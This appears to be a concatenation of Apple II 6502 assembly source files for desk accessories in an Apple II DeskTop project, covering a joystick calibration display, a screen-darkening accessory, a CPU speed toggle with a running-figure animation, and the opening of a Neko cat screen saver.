kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
.params event_params
kind: .byte 0
;;; EventKind::key_down
key := *
modifiers := * + 1
;;; EventKind::update
window_id := *
;;; otherwise
xcoord := *
ycoord := * + 2
.res 4
.endparams
.params findwindow_params
mousex: .word 0
mousey: .word 0
which_area: .byte 0
window_id: .byte 0
.endparams
.params trackgoaway_params
clicked: .byte 0
.endparams
.params dragwindow_params
window_id: .byte 0
dragx: .word 0
dragy: .word 0
moved: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
;;; ============================================================
;;; Joystick Calibration Resources
kJoystickCalibrationX = 15
kJoystickCalibrationY = 10
kJoystickDisplayX = kJoystickCalibrationX + 53
kJoystickDisplayY = kJoystickCalibrationY - 2
kJoystickDisplayW = 128
kJoystickDisplayH = 64
DEFINE_RECT_SZ joy_disp_frame_rect, kJoystickDisplayX , kJoystickDisplayY , kJoystickDisplayW + 8, kJoystickDisplayH + 5
DEFINE_RECT_SZ joy_disp_rect, kJoystickDisplayX + 1, kJoystickDisplayY + 1, kJoystickDisplayW + 6, kJoystickDisplayH + 3
DEFINE_BUTTON joy_btn0_button, kDAWindowId, res_string_label_joy_btn0,, kJoystickDisplayX + kJoystickDisplayW + 20, kJoystickDisplayY + 10
DEFINE_BUTTON joy_btn1_button, kDAWindowId, res_string_label_joy_btn1,, kJoystickDisplayX + kJoystickDisplayW + 20, kJoystickDisplayY + 30
DEFINE_BUTTON joy_btn2_button, kDAWindowId, res_string_label_joy_btn2,, kJoystickDisplayX + kJoystickDisplayW + 20, kJoystickDisplayY + 50
.params joy_marker
DEFINE_POINT viewloc, kJoystickDisplayX+1, kJoystickDisplayY+1
mapbits: .addr joy_marker_bitmap
mapwidth: .byte 2
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 7, 4
REF_MAPINFO_MEMBERS
.endparams
.params joy_marker2
DEFINE_POINT viewloc, kJoystickDisplayX+1, kJoystickDisplayY+1
mapbits: .addr joy_marker_bitmap2
mapwidth: .byte 2
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 7, 4
REF_MAPINFO_MEMBERS
.endparams
joy_marker_bitmap:
PIXELS "..####.."
PIXELS ".######."
PIXELS "########"
PIXELS ".######."
PIXELS "..####.."
joy_marker_bitmap2:
PIXELS "..####.."
PIXELS ".##..##."
PIXELS "##....##"
PIXELS ".##..##."
PIXELS "..####.."
.params joystick_params
DEFINE_POINT viewloc, kJoystickCalibrationX+1, kJoystickCalibrationY + 6
mapbits: .addr joystick_bitmap
mapwidth: .byte 6
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 35, 18
REF_MAPINFO_MEMBERS
.endparams
joystick_bitmap:
PIXELS "...........................###......"
PIXELS "...##..##############....######....."
PIXELS "........................######......"
PIXELS ".....##..##########....######......."
PIXELS "......................######........"
PIXELS "......##..#######....######........."
PIXELS "....................######.........."
PIXELS ".......##..####.....####............"
PIXELS "....................##.............."
PIXELS "...................##..............."
PIXELS "..................##................"
PIXELS "...##############################..."
PIXELS "..##............................##.."
PIXELS "..##............................##.."
PIXELS ".##################################."
PIXELS "##................................##"
PIXELS "##................................##"
PIXELS "##................................##"
PIXELS ".##################################."
;;; ============================================================
.proc Init
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
beq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
jsr DoJoystick
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
bne InputLoop ; always
END_IF
cmp #CHAR_ESCAPE
beq Exit
bne InputLoop ; always
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
copy16 event_params::xcoord, findwindow_params::mousex
copy16 event_params::ycoord, findwindow_params::mousey
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
beq HandleClick
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
bne Exit
jmp InputLoop
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
copy16 event_params::xcoord, dragwindow_params::dragx
copy16 event_params::ycoord, dragwindow_params::dragy
MGTK_CALL MGTK::DragWindow, dragwindow_params
bit dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleClick
;; no-op
jmp InputLoop
.endproc ; HandleClick
;;; ============================================================
notpencopy: .byte MGTK::notpencopy
;;; ============================================================
.proc DrawWindow
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_ZERO ; not obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintBitsHC, joystick_params
MGTK_CALL MGTK::FrameRect, joy_disp_frame_rect
BTK_CALL BTK::RadioDraw, joy_btn0_button
BTK_CALL BTK::RadioDraw, joy_btn1_button
BTK_CALL BTK::RadioDraw, joy_btn2_button
SET_BIT7_FLAG force_draw_flag
MGTK_CALL MGTK::ShowCursor
END_IF
rts
.endproc ; DrawWindow
;;; ============================================================
kNumPaddles = 4
.struct InputState
valid .byte
pdl0 .byte
pdl1 .byte
pdl2 .byte
pdl3 .byte
butn0 .byte
butn1 .byte
butn2 .byte
.endstruct
.proc DoJoystick
;; Read paddles, copy into our current state
jsr ReadPaddles
ldx #kNumPaddles-1
DO
lda pdl0,x
lsr ; clamp range to 0...127
sta curr+InputState::pdl0,x
dex
WHILE_POS
lsr curr+InputState::pdl1 ; clamp Y to 0...63 (due to pixel aspect ratio)
lsr curr+InputState::pdl3 ; clamp Y to 0...63 (due to pixel aspect ratio)
;; Read buttons, copy into our current state
lda BUTN0
and #$80 ; only care about msb
sta curr+InputState::butn0
lda BUTN1
and #$80 ; only care about msb
sta curr+InputState::butn1
lda BUTN2
and #$80 ; only care about msb
sta curr+InputState::butn2
;; Mark current state as valid
copy8 #$80, curr+InputState::valid
;; --------------------------------------------------
;; If last state was valid, see if joystick 2 registered
;; a change; if so, set a flag.
bit last+InputState::valid
IF_NS
lda curr+InputState::pdl2
cmp last+InputState::pdl2
bne set
lda curr+InputState::pdl3
cmp last+InputState::pdl3
beq :+
set: SET_BIT7_FLAG joy2_valid_flag
:
END_IF
;; Changed? (or first time through)
bit force_draw_flag
IF_NC
ldx #.sizeof(InputState)-1
DO
lda curr,x
cmp last,x
bne :+ ; changed - draw
dex
WHILE_POS
rts ; no change - skip
:
END_IF
;; --------------------------------------------------
COPY_STRUCT InputState, curr, last
CLEAR_BIT7_FLAG force_draw_flag
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
;; --------------------------------------------------
;; Joystick Position
;; Erase old
MGTK_CALL MGTK::SetPenMode, penOR
bit joy2_valid_flag
IF_NS
MGTK_CALL MGTK::PaintBitsHC, joy_marker2
END_IF
MGTK_CALL MGTK::PaintBitsHC, joy_marker
.scope joy1
joy_x := joy_marker::viewloc::xcoord
copy8 curr+InputState::pdl0, joy_x
copy8 #0, joy_x+1
add16 joy_x, #kJoystickDisplayX + 1, joy_x
joy_y := joy_marker::viewloc::ycoord
copy8 curr+InputState::pdl1, joy_y
copy8 #0, joy_y+1
add16 joy_y, #kJoystickDisplayY + 1, joy_y
.endscope ; joy1
.scope joy2
joy_x := joy_marker2::viewloc::xcoord
copy8 curr+InputState::pdl2, joy_x
copy8 #0, joy_x+1
add16 joy_x, #kJoystickDisplayX + 1, joy_x
joy_y := joy_marker2::viewloc::ycoord
copy8 curr+InputState::pdl3, joy_y
copy8 #0, joy_y+1
add16 joy_y, #kJoystickDisplayY + 1, joy_y
.endscope ; joy2
;; Draw new
MGTK_CALL MGTK::SetPenMode, notpencopy
bit joy2_valid_flag
IF_NS
MGTK_CALL MGTK::PaintBitsHC, joy_marker2
END_IF
MGTK_CALL MGTK::PaintBitsHC, joy_marker
;; --------------------------------------------------
;; Button States
lda curr+InputState::butn0
and #$80
ASSERT_EQUALS BTK::kButtonStateChecked, $80
sta joy_btn0_button::state
BTK_CALL BTK::RadioDraw, joy_btn0_button
lda curr+InputState::butn1
and #$80
ASSERT_EQUALS BTK::kButtonStateChecked, $80
sta joy_btn1_button::state
BTK_CALL BTK::RadioDraw, joy_btn1_button
lda curr+InputState::butn2
and #$80
ASSERT_EQUALS BTK::kButtonStateChecked, $80
sta joy_btn2_button::state
BTK_CALL BTK::RadioDraw, joy_btn2_button
;; --------------------------------------------------
MGTK_CALL MGTK::ShowCursor
done: rts
curr: .tag InputState
last: .tag InputState
penOR: .byte MGTK::penOR
notpencopy: .byte MGTK::notpencopy
joy2_valid_flag: ; bit7
.byte 0
.endproc ; DoJoystick
force_draw_flag: ; bit7
.byte 0
;;; ============================================================
pdl0: .byte 0
pdl1: .byte 0
pdl2: .byte 0
pdl3: .byte 0
.proc ReadPaddles
php
sei
JSR_TO_MAIN JUMP_TABLE_SLOW_SPEED
;; Read all paddles
ldx #kNumPaddles - 1
DO
jsr PRead
tya
sta pdl0,x
dex
WHILE_POS
JSR_TO_MAIN JUMP_TABLE_RESUME_SPEED
plp
rts
.proc PRead
;; Let any previous timer reset (but don't wait forever)
ldy #0
DO
dey
nop ; Empirically, 4 NOPs are needed here.
nop ; https://github.com/a2stuff/a2d/issues/173
nop
nop
BREAK_IF_ZERO
lda PADDL0,x
WHILE_NS
;; Read paddle
;; Per Technical Note: Apple IIe #6: The Apple II Paddle Circuits
;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/aiie/tn.aiie.06.html
lda PTRIG ; Trigger paddles
ldy #0 ; Init counter
nop ; ... and wait for first count
nop
DO
lda PADDL0,X ; 11 microsecond loop
bpl done
iny
WHILE_NOT_ZERO
dey ; handle overflow
done: rts
.endproc ; PRead
.endproc ; ReadPaddles
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::Init
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 2,033
|
src/desk.acc/darkness.s
|
;;; ============================================================
;;; DARKNESS - Desk Accessory
;;;
;;; Paints the screen a dark pattern... and leaves it that way.
;;; For ensuring repaints are minimal. Best used bound to a
;;; menu item in Shortcuts and triggered with a shortcut key.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
DEFINE_RECT rect, 0, 0, kScreenWidth - 1, kScreenHeight - 1
pattern:
.byte %10001000
.byte %00000000
.byte %00100010
.byte %00000000
.byte %10001000
.byte %00000000
.byte %00100010
.byte %00000000
pencopy:
.byte MGTK::pencopy
grafport:
.tag MGTK::GrafPort
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
;;; ============================================================
.proc Init
JUMP_TABLE_MGTK_CALL MGTK::InitPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::pencopy
JUMP_TABLE_MGTK_CALL MGTK::SetPattern, aux::pattern
JUMP_TABLE_MGTK_CALL MGTK::PaintRect, aux::rect
jsr JUMP_TABLE_HILITE_MENU
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
rts
.endproc ; Init
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 12,592
|
src/desk.acc/system.speed.s
|
;;; ============================================================
;;; SYSTEM.SPEED - Desk Accessory
;;;
;;; Allows toggling the machine's accelerator (if present)
;;; between normal and fast speed.
;;;
;;; Based on NORMFAST by "Roger" et. al. on comp.sys.apple2
;;; 3b74ddcf-190c-4591-bced-17e165ece668@googlegroups.com
;;; https://groups.google.com/d/topic/comp.sys.apple2/e-2Lx-CR1dM/discussion
;;;
;;; Should support:
;;; * Apple IIgs, IIc+, Macintosh IIe Option Card, Laser 128EX
;;; * FASTChip, Zip Chip, TransWarp I, UltraWarp
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "system.speed.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
kShortcutNorm = res_char_button_norm_shortcut
kShortcutFast = res_char_button_fast_shortcut
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Param blocks
kDAWindowId = $80
kDAWidth = 290
kDAHeight = 70
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
kButtonInsetX = 25
DEFINE_BUTTON norm_button, kDAWindowId, res_string_button_norm, res_char_button_norm_shortcut, kButtonInsetX, 28
DEFINE_BUTTON fast_button, kDAWindowId, res_string_button_fast, res_char_button_fast_shortcut, kDAWidth - kButtonWidth - kButtonInsetX, 28
DEFINE_BUTTON ok_button, kDAWindowId, res_string_button_ok, kGlyphReturn, kDAWidth - kButtonWidth - kButtonInsetX, 52
DEFINE_LABEL title, res_string_dialog_title, 0, 18
;;; ============================================================
.include "../lib/event_params.s"
;;; ============================================================
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
penXOR: .byte MGTK::penXOR
notpencopy: .byte MGTK::notpencopy
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 100
mincontheight: .word 100
maxcontwidth: .word 500
maxcontheight: .word 500
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8,$FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
.params getwinport_params
window_id: .byte 0
a_grafport: .addr grafport_win
.endparams
grafport_win: .tag MGTK::GrafPort
;;; ============================================================
;;; Resources for an animation to show speed
kRunPosX = 12
kRunPosY = 51
kRunDistance = 104
kRunWidth = 21
kRunHeight = 11
run_pos:
.byte 0
.params frame_params
DEFINE_POINT viewloc, kRunPosX, kRunPosY
mapbits: .addr frame1
mapwidth: .byte 3
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 20, 10
REF_MAPINFO_MEMBERS
.endparams
frame1:
PIXELS "............##......."
PIXELS "..........######....."
PIXELS "..........######....."
PIXELS "........######......."
PIXELS "....####..######....."
PIXELS "..####..####....####."
PIXELS "........####........."
PIXELS "........######......."
PIXELS "..########..####....."
PIXELS "............####....."
PIXELS "............####....."
frame2:
PIXELS "............##......."
PIXELS "..........######....."
PIXELS "..........######....."
PIXELS "..........####......."
PIXELS "........######......."
PIXELS "......##########....."
PIXELS "......########..####."
PIXELS "..........######....."
PIXELS "........########....."
PIXELS "......######........."
PIXELS "........####........."
frame3:
PIXELS "............##......."
PIXELS "..........######....."
PIXELS "..........######....."
PIXELS "..........####......."
PIXELS "......########..##..."
PIXELS "....####..########..."
PIXELS "..........####......."
PIXELS "........########....."
PIXELS "......####....####..."
PIXELS "....####......####..."
PIXELS "....####............."
kNumAnimFrames = 4
anim_table:
.addr frame1
.addr frame2
.addr frame3
.addr frame2
ASSERT_ADDRESS_TABLE_SIZE anim_table, kNumAnimFrames
frame_counter:
.byte 0
;;; ============================================================
;;; Initialize window, unpack the date.
.proc RunDA
MGTK_CALL MGTK::OpenWindow, winfo
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
param_call DrawTitleString, title_label_str
BTK_CALL BTK::Draw, ok_button
BTK_CALL BTK::Draw, norm_button
BTK_CALL BTK::Draw, fast_button
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; RunDA
;;; ============================================================
;;; Input loop
.proc InputLoop
jsr AnimFrame
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
jeq OnClick
cmp #MGTK::EventKind::key_down
bne InputLoop
FALL_THROUGH_TO OnKey
.endproc ; InputLoop
.proc OnKey
lda event_params::key
jsr ToUpperCase
ldx event_params::modifiers
IF_NOT_ZERO
cmp #kShortcutCloseWindow
beq OnKeyOK
jmp InputLoop
END_IF
cmp #CHAR_RETURN
beq OnKeyOK
cmp #CHAR_ESCAPE
beq OnKeyOK
cmp #kShortcutNorm
beq OnKeyNorm
cmp #kShortcutFast
beq OnKeyFast
jmp InputLoop
.endproc ; OnKey
.proc OnKeyOK
BTK_CALL BTK::Flash, ok_button
jmp CloseWindow
.endproc ; OnKeyOK
.proc OnKeyNorm
BTK_CALL BTK::Flash, norm_button
JSR_TO_MAIN DoNorm
jmp InputLoop
.endproc ; OnKeyNorm
.proc OnKeyFast
BTK_CALL BTK::Flash, fast_button
JSR_TO_MAIN DoFast
jmp InputLoop
.endproc ; OnKeyFast
;;; ============================================================
.proc OnClick
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne miss
lda findwindow_params::which_area
cmp #MGTK::Area::content
beq hit
miss: jmp InputLoop
hit: copy8 winfo::window_id, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, ok_button::rect
jne OnClickOK
MGTK_CALL MGTK::InRect, norm_button::rect
jne OnClickNorm
MGTK_CALL MGTK::InRect, fast_button::rect
jne OnClickFast
jmp InputLoop
.endproc ; OnClick
;;; ============================================================
.proc OnClickOK
BTK_CALL BTK::Track, ok_button
jeq CloseWindow
jmp InputLoop
.endproc ; OnClickOK
;;; ============================================================
.proc OnClickNorm
BTK_CALL BTK::Track, norm_button
IF_ZERO
JSR_TO_MAIN DoNorm
END_IF
jmp InputLoop
.endproc ; OnClickNorm
;;; ============================================================
.proc OnClickFast
BTK_CALL BTK::Track, fast_button
IF_ZERO
JSR_TO_MAIN DoFast
END_IF
jmp InputLoop
.endproc ; OnClickFast
;;; ============================================================
.proc CloseWindow
MGTK_CALL MGTK::CloseWindow, closewindow_params
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; CloseWindow
;;; ============================================================
;;; Draw Title String (centered at top of port)
;;; Input: A,X = string address
.proc DrawTitleString
text_params := $6
text_addr := text_params + 0
text_length := text_params + 2
text_width := text_params + 3
stax text_addr ; input is length-prefixed string
ldy #0
copy8 (text_addr),y, text_length
inc16 text_addr ; point past length
MGTK_CALL MGTK::TextWidth, text_params
sub16 #kDAWidth, text_width, title_label_pos::xcoord
lsr16 title_label_pos::xcoord ; /= 2
MGTK_CALL MGTK::MoveTo, title_label_pos
MGTK_CALL MGTK::DrawText, text_params
rts
.endproc ; DrawTitleString
;;; ============================================================
.proc AnimFrame
lda frame_counter
lsr ; /= 4
lsr ;
asl ; *= 2 - yes, this could be simplified
tax
copy16 anim_table,x, frame_params::mapbits
add16_8 #kRunPosX, run_pos, frame_params::viewloc::xcoord
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::ShieldCursor, frame_params
MGTK_CALL MGTK::PaintBits, frame_params ; cursor conditionally hidden
MGTK_CALL MGTK::UnshieldCursor
inc frame_counter
lda frame_counter
IF_A_EQ #kNumAnimFrames * 4
copy8 #0, frame_counter
END_IF
inc run_pos
lda run_pos
IF_A_EQ #kRunDistance
copy8 #0, run_pos
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::ShieldCursor, frame_params
MGTK_CALL MGTK::PaintBits, frame_params ; cursor conditionally hidden
MGTK_CALL MGTK::UnshieldCursor
END_IF
.endproc ; AnimFrame
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::RunDA
rts
;;; ============================================================
;;; Called from Aux via relay
.proc DoNorm
;; Run NORMFAST with "normal" banks
sta ALTZPOFF
bit ROMIN2
jsr NORMFAST_norm
sta ALTZPON
bit LCBANK1
bit LCBANK1
rts
.endproc ; DoNorm
;;; ============================================================
;;; Called from Aux via relay
.proc DoFast
;; Run NORMFAST with "normal" banks
sta ALTZPOFF
bit ROMIN2
jsr NORMFAST_fast
sta ALTZPON
bit LCBANK1
bit LCBANK1
rts
.endproc ; DoFast
;;; ============================================================
.include "../lib/normfast.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 27,895
|
src/desk.acc/neko.s
|
;;; ============================================================
;;; NEKO - Desk Accessory
;;;
;;; Playful cat screen saver
;;; Originally by Naoshi Watanabe, Kenji Gotoh, & others
;;;
;;; Icons exported via 'DeRez neko' on macOS 12.6.1 "Monterey"
;;; by Frank Milliron 12/12/22
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "neko.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | | | |
;;; | IO Buffer | | scratch |
;;; $1C00 +-------------+ +-------------+
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | stub | | DA |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
kNekoHeight = 32 ; full height is 32
kNekoWidth = 64 ; full width is 32, but aspect ratio needs to be doubled
kNumFrames = 32
.enum NekoFrame
runUp1 = 0
runUp2 = 1
runUpRight1 = 2
runUpRight2 = 3
runRight1 = 4
runRight2 = 5
runDownRight1 = 6
runDownRight2 = 7
runDown1 = 8
runDown2 = 9
runDownLeft1 = 10
runDownLeft2 = 11
runLeft1 = 12
runLeft2 = 13
runUpLeft1 = 14
runUpLeft2 = 15
scratchUp1 = 16
scratchUp2 = 17
scratchRight1 = 18
scratchRight2 = 19
scratchDown1 = 20
scratchDown2 = 21
scratchLeft1 = 22
scratchLeft2 = 23
sitting = 24
yawning = 25
itch1 = 26
itch2 = 27
sleep1 = 28
sleep2 = 29
lick = 30
surprise = 31
.endenum
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
kDAWidth = kScreenWidth / 2
kDAHeight = kScreenHeight / 2
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kScreenWidth / 5
mincontheight: .word kScreenHeight / 5
maxcontwidth: .word kScreenWidth
maxcontheight: .word kScreenHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
ep_start:
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
ep_size := * - ep_start
;;; ============================================================
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
.struct scratch
.org $1C00
framebuffer .res 10*32; kNekoHeight * kNekoStride
grafport .tag MGTK::GrafPort
.endstruct
FRAMEBUFFER := scratch::framebuffer
grafport := scratch::grafport
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
;;; ============================================================
kGrowBoxWidth = 17
kGrowBoxHeight = 7
.params grow_box_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr grow_box_bitmap
mapwidth: .byte 3
reserved: .byte 0
DEFINE_RECT maprect, 2, 2, 19, 9
REF_MAPINFO_MEMBERS
.endparams
grow_box_bitmap:
PIXELS "#####################"
PIXELS "#...................#"
PIXELS "#..##########.......#"
PIXELS "#..##......#######..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##########...##..#"
PIXELS "#....##.........##..#"
PIXELS "#....#############..#"
PIXELS "#...................#"
PIXELS "#####################"
;;; ============================================================
;;; Draw resize box
;;; Assert: An appropriate GrafPort is selected.
.proc DrawGrowBox
MGTK_CALL MGTK::SetPenMode, notpencopy
sub16_8 winfo::maprect::x2, #kGrowBoxWidth, grow_box_params::viewloc::xcoord
sub16_8 winfo::maprect::y2, #kGrowBoxHeight, grow_box_params::viewloc::ycoord
MGTK_CALL MGTK::PaintBitsHC, grow_box_params
rts
.endproc ; DrawGrowBox
;;; ============================================================
;;; Animation Resources
.ifdef CURSORS
kCursorHeight = 16
kCursorWidth = 16
kNekoCount = 32
kNekoCursor = 3
.endif
frame_addr_table_lo:
.repeat ::kNumFrames,i
.byte <.ident(.sprintf("neko_frame_%02d", i+1))
.endrepeat
frame_addr_table_hi:
.repeat ::kNumFrames,i
.byte >.ident(.sprintf("neko_frame_%02d", i+1))
.endrepeat
.repeat ::kNumFrames, i
.ident(.sprintf("neko_frame_%02d", i+1)) := *
.incbin .sprintf("neko_frames/neko_frame_%02d.bin.lzsa", i+1)
.endrepeat
.ifdef CURSORS
.addr neko_bird_cursor ; CURS -16000, "bardCurs" (bird?)
.addr neko_bird_mask ; CURS -16000, "bardCurs" (bird?)
.addr neko_fish_cursor ; CURS -15998, "fishCurs"
.addr neko_fish_mask ; CURS -15998, "fishCurs"
.addr neko_mouse_cursor ; CURS -15999, "mouseCurs"
.addr neko_mouse_mask ; CURS -15999, "mouseCurs"
.endif
;;; ============================================================
kNekoStride = 10 ; in bytes; width / 7 rounded up
